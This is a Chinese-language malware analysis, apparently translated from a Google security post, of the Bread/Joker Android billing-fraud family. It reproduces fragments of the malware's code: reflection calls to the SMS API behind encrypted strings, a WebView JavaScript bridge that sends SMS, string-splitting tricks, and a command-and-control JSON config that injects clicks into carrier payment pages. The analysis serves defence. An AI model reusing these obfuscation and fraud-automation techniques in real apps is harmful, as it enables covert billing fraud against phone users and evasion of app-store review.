Bread:短信欺詐和收費欺詐的惡意軟件

在本期的PHA家族精選系列中,我們介紹了Bread,這是一個大規模的計費欺詐家族。于2017年初首次開始追蹤Bread(也稱為Joker),確定專門為短信(SMS)欺詐而設計的應用程序。隨著Play商店推出新政策以及Google Play Protect擴大了防御范圍,Bread應用程序被迫不斷迭代以尋找缺口。為了不被發現,他們在某種程度上使用了各種各樣的偽裝和混淆技術。其中許多例子似乎是專門用來偷偷潛入Play商店不被發現并且不會在其他地方看到而設計的。在本文中,將展示Google Play Protect如何防御一個組織良好、持續不斷的攻擊者,并分享其技術示例。
TL; DR
- Google Play Protect在用戶下載之前檢測到并從Play Store中刪除了1.7k個獨特的Bread應用程序。
- Bread應用最初執行短信欺詐,但由于引入了限制使用Send_SMS許可以及Google Play Protect擴大覆蓋范圍的新Play策略,大部分已經放棄了這種做法,轉而使用WAP收費
- 有關統計數據和相對影響的更多信息,請參閱《Android Security 2018年度回顧》報告
計費欺詐
Bread應用程序通常分為兩類:短信欺詐(舊版本)和收費欺詐(新版本)。這兩種類型的欺詐都利用涉及用戶運營商的移動支付技術。
短信計費
運營商可能與供應商合作,以允許用戶通過短信支付服務費用。用戶只需要將規定的關鍵字發短信給規定的號碼即可。然后,向其移動服務提供商的用戶賬單添加一筆費用。

收費計費
運營商還可以在網頁上提供付款端點。用戶訪問URL以完成付款并輸入他們的電話號碼。使用兩種可能的方法來完成對請求來自用戶設備的驗證:
- 用戶通過移動數據而非WiFi連接到站點(因此,服務提供商直接處理連接并可以驗證電話號碼)。
- 要么,用戶必須檢索通過短信發送給他們的代碼,并將其輸入到網頁中(從而證明可以訪問提供的電話號碼)。
欺詐
上面詳述的兩種計費方法均提供設備驗證,但不提供用戶驗證。運營商可以確定請求源來自用戶的設備,但不需要來自用戶的任何無法自動化的交互。惡意軟件作者使用注入的點擊、自定義HTML解析器和短信接收器來自動化計費過程,而無需用戶進行任何交互。
字符串和數據混淆
面包應用程序使用了許多創新的和經典的技術來對分析引擎隱藏字符串。以下是一些亮點。
標準加密
通常,Bread應用程序會利用java.util.crypto中的標準加密庫。我們發現了使用AES,Blowfish和DES及其組合來加密其字符串的應用程序。
自定義加密
其他變體使用了自定義實現的加密算法。一些常用技術包括:基本XOR加密,嵌套XOR和自定義密鑰派生方法。某些變體已經走得很遠,以至于每個類的字符串都使用不同的鍵。
分割字符串
加密的字符串可能是代碼試圖隱藏某些內容的信號。Bread使用了一些技巧來使字符串保持純文本格式,同時防止基本的字符串匹配。
String click_code = new StringBuilder().append(".cli").append("ck();");
再進一步,這些子字符串有時分散在整個代碼中,可以從靜態變量和方法調用中檢索。各種版本也可以更改拆分的索引(例如“ .clic”和“ k();”)。
分隔符
另一種混淆未加密字符串的技術使用重復分隔符。在策略要點插入一個短而恒定的字符串以分隔關鍵字:
String js = "javm6voTascrm6voTipt:window.SDFGHWEGSG.catcm6voThPage(docm6voTument.getElemm6voTentsByTm6voTagName('html')[m6voT0].innerHTML);"
在運行時,在使用字符串之前刪除分隔符:
js = js.replaceAll("m6voT", "");
API混淆
短信和收費欺詐通常需要一些基本行為(例如,禁用WiFi或訪問短信),少數幾個API即可訪問這些行為。考慮到識別計費欺詐的行為數量有限,Bread應用程序必須嘗試多種技術來掩蓋這些API的使用。
Reflection
大多數隱藏API使用情況的方法都傾向于以某種方式使用Java Reflection。在某些示例中,Bread僅對在運行時解密的字符串直接調用了Reflect API。
Class smsManagerClass = Class.forName(p.a().decrypt("wI7HmhUo0OYTnO2rFy3yxE2DFECD2I9reFnmPF3LuAc=")); // android.telephony.SmsManager
smsManagerClass.getMethod(p.a().decrypt("0oXNjC4kzLwqnPK9BiL4qw=="), // sendTextMessage
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class).invoke(smsManagerClass.getMethod(p.a().decrypt("xoXXrB8n1b0LjYfIYUObrA==")).invoke(null), addr, null, message, null, null); // getDefault
JNI
Bread還測試了我們分析本機代碼的能力。在一個示例中,DEX文件中沒有顯示與信息相關的代碼,但是注冊了本機方法。
public static native void nativesend(String arg0, String arg1);
兩個字符串傳遞到調用中,用于SMS計費的短碼和關鍵字(為清楚起見,此處重命名了getter方法)。
JniManager.nativesend(this.get_shortcode(), this.get_keyword());
在本機庫中,它存儲用于訪問SMS API的字符串。

該nativesend方法使用Java本機接口(JNI)來獲取并調用Android SMS API。以下是IDA的屏幕截圖,其中顯示了字符串和JNI函數的注釋。

WebView JavaScript Interface
繼續討論跨語言橋梁的主題,Bread還嘗試了一些在WebViews中使用JavaScript的混淆方法。在DEX中聲明以下方法。
public void method1(String p7, String p8, String p9, String p10, String p11) {
Class v0_1 = Class.forName(p7);
Class[] v1_1 = new Class[0];
Object[] v3_1 = new Object[0];
Object v1_3 = v0_1.getMethod(p8, v1_1).invoke(0, v3_1);
Class[] v2_2 = new Class[5];
v2_2[0] = String.class;
v2_2[1] = String.class;
v2_2[2] = String.class;
v2_2[3] = android.app.PendingIntent.class;
v2_2[4] = android.app.PendingIntent.class;
reflect.Method v0_2 = v0_1.getMethod(p9, v2_2);
Object[] v2_4 = new Object[5];
v2_4[0] = p10;
v2_4[1] = 0;
v2_4[2] = p11;
v2_4[3] = 0;
v2_4[4] = 0;
v0_2.invoke(v1_3, v2_4);
}
如果沒有上下文,則此方法不會充分揭示其預期的行為,并且在DEX中的任何位置都不會對其進行調用。但是,該應用程序確實創建了WebView并向該類注冊了JavaScript接口。
this.webView.addJavascriptInterface(this, "stub");
這使運行在WebView中的JavaScript可以訪問此方法。該應用程序加載指向Bread控制服務器的URL。響應包含一些基本的HTML和JavaScript。
在綠色中,我們可以看到對SMS API的引用。在紅色中,我們看到這些值通過注冊的接口傳遞到可疑的Java方法中。現在,使用這些字符串Method1可以使用Reflection調用sendTextMessage并處理支付。
Packing
除了實現自定義混淆技術外,應用還使用了幾種商用包裝工具,包括:Qihoo360,AliProtect和SecShell。
最近,我們發現Bread相關的應用程序試圖在APK隨附的本機庫中隱藏惡意代碼。今年早些時候,我們發現了在ELF文件的數據部分中隱藏JAR的應用程序,然后使用來動態加載DexClassLoader。
下圖顯示了APK附帶的共享庫的.rodata部分中存儲的加密JAR片段,以及用于解密的XOR密鑰。
在我們阻止了這些樣本之后,他們將相當一部分的惡意功能轉移到了本機庫中,從而導致Dalvik與本機代碼之間來回的特殊變化:

命令與控制
動態短碼和內容
Bread的早期版本利用基本的命令和控制基礎結構來動態交付內容并檢索賬單明細。在下面的示例服務器響應中,綠色字段顯示要向用戶顯示的文本。紅色字段用作短信計費的短碼和關鍵字。

狀態機
由于各種運營商以不同的方式執行計費過程,因此Bread開發了幾種變體,其中包含實現所有可能步驟的通用狀態機。在運行時,應用程序可以檢查設備連接到哪個運營商,并從命令和控制服務器獲取配置對象。該配置包含使用URL和JavaScript執行的步驟列表。
{
"message":"Success",
"result":[
{
"list":[
{
"endUrl":"http://sabai5555.com/",
"netType":0,
"number":1,
"offerId":"1009",
"step":1,
"trankUrl": "http://atracking-auto.appflood.com/transaction/post_click?offer_id=19190660&aff_id=10336"
},
{
"netType":0,
"number":2,
"offerId":"1009",
"params":"function jsFun(){document.getElementsByTagName('a')[1].click()};",
"step":2
},
{
"endUrl":"http://consentprt.dtac.co.th/webaoc/InformationPage",
"netType":0,
"number":3,
"offerId":"1009",
"params":"javascript:jsFun()",
"step":4
},
{
"endUrl":"http://consentprt.dtac.co.th/webaoc/SuccessPage",
"netType":0,
"number":4,
"offerId":"1009",
"params":"javascript:getOk()",
"step":3
},
{
"netType":0,
"number":5,
"offerId":"1009",
"step":7
}
],
"netType":0,
"offerId":"1009"
}
],
"code":"200"
}
實施的步驟包括:
- 在WebView中加載URL
- 在WebView中運行JavaScript
- 切換WiFi狀態
- 切換移動數據狀態
- 閱讀/修改短信收件箱
- 解決驗證碼
驗證碼
一種比較有趣的狀態實現了解決基本驗證碼(模糊的字母和數字)的功能。首先,該應用程序創建一個JavaScript函數來調用Java方法,getImageBase64并使用公開給WebView addJavascriptInterface。

用于替換的值GET_IMG_OBJECT來自JSON配置。
"params": "document.getElementById('captcha')"
然后,該應用程序使用JavaScript注入在運營商的網頁中創建新腳本以運行新功能。

然后將base64編碼的圖像上載到圖像識別服務。如果成功檢索到文本,則該應用再次使用JavaScript注入來提交帶有驗證碼答案的HTML表單。
Cloaking
客戶端運營商檢查
在上面的基本命令和控制示例中,我們沒有解決(錯誤標簽)“ imei”字段的問題。
{
"button": "????????????",
"code": 0,
"content": "F10",
"imei": "52003,52005,52000",
"rule": "Here are all the pictures you need, about
happiness, beauty, beauty, etc., with our most
sincere service, to provide you with the most
complete resources.",
"service": "4219245"
}
這包含計費過程將適用的移動國家代碼(MCC)和移動網絡代碼(MNC)值。在此示例中,服務器響應包含泰國運營商的多個值。該應用程序檢查設備的網絡是否與服務器提供的網絡之一匹配。如果是這樣,它將從計費過程開始。如果該值不匹配,則該應用將跳過“披露”頁面和計費過程,并直接將用戶帶到應用內容。
在某些版本中,服務器只會在提交應用后幾天返回有效響應。
服務器端運營商檢查
在上面介紹的JavaScript橋API模糊處理示例中,服務器為應用提供了必要的字符串以完成結算過程。但是,分析人員可能并不總是在服務器響應中看到危害的指標。
在此示例中,對服務器的請求采用以下形式:
http://X.X.X.X/web?operator=52000&id=com.battery.fakepackage&deviceid=deadbeefdeadbeefdeadbeefdeadbeef
在此,“運營商”查詢參數是“移動國家/地區代碼”和“移動網絡代碼”。服務器可以使用此信息來確定用戶的載體是否是Bread的目標之一。如果不是,則清除響應中用于完成計費欺詐的字符串。
<a onclick="Sub()">???????????</a>
<div style="display:none">
<p id="deviceid">deadbeefdeadbeefdeadbeefdeadbeef</p>
<p id="cmobi"></p>
<p id="deni"></p>
<p id="ssm"></p>
<p id="shortcode"></p>
<p id="keyword"></p>
</div>
誤導用戶
Bread應用有時會向用戶顯示一個彈出窗口,表示某種形式的合規性或披露性,并顯示條款和條件或確認按鈕。但是,實際文本通常只會顯示基本的歡迎消息。

翻譯:“這個應用程序是一個值得去的地方,有了這個新的應用程序,它會感覺像一個超級英雄。希望您喜歡!“。
其他版本包括有效披露信息所需的所有部分。

翻譯后,披露內容為:
“Apply Car Racing Clip\ 請輸入您的電話號碼以獲取服務詳細信息\ 條款和條件\ 每天9泰銖起,您每天將收到1條消息\ 請在4739504停止V4打印服務\ 或致電02-697-9298 \ 周一至周五的8.30-5.30pm \ ”
但是,這里仍然存在兩個問題:
- 用于取消訂閱的聯系電話不是真實的
- 即使您沒有點擊“確認”按鈕,計費過程也會開始
即使此處的公開內容顯示了準確的信息,用戶也常常會發現該應用程序的廣告功能與實際內容不匹配。Bread應用程序通常不包含計費過程之外的任何功能,或者僅從其他流行應用程序中克隆內容。
版本
Bread還利用了應用商店特有的濫用策略:版本控制。一些應用程序從純凈版開始,以擴大用戶群并建立開發人員帳戶的聲譽。后來才通過更新引入了惡意代碼。有趣的是,早期的“clean”版本包含不同級別的信號,表明更新將在以后包含惡意代碼。首先上傳一些帶有所有必要代碼的代碼,除了實際初始化計費過程的一行代碼外。其他用戶可能具有必要的權限,但缺少包含欺詐代碼的類。除引用支付過程的日志注釋外,其他所有內容都已刪除。所有這些方法都試圖在不同階段排除可能引入的信號,測試出版過程中的差距。然而,從分析的角度來看,GPP并沒有區別對待新的應用程序和更新。
虛假評論
首次發布早期版本的應用程序時,會出現許多五星級評論,并帶有以下注釋:
- “非常美麗”
- 隨后,來自真實用戶的1顆星評論開始出現,評論如下:
- “欺騙”
- “這個應用程序不是誠實的…”

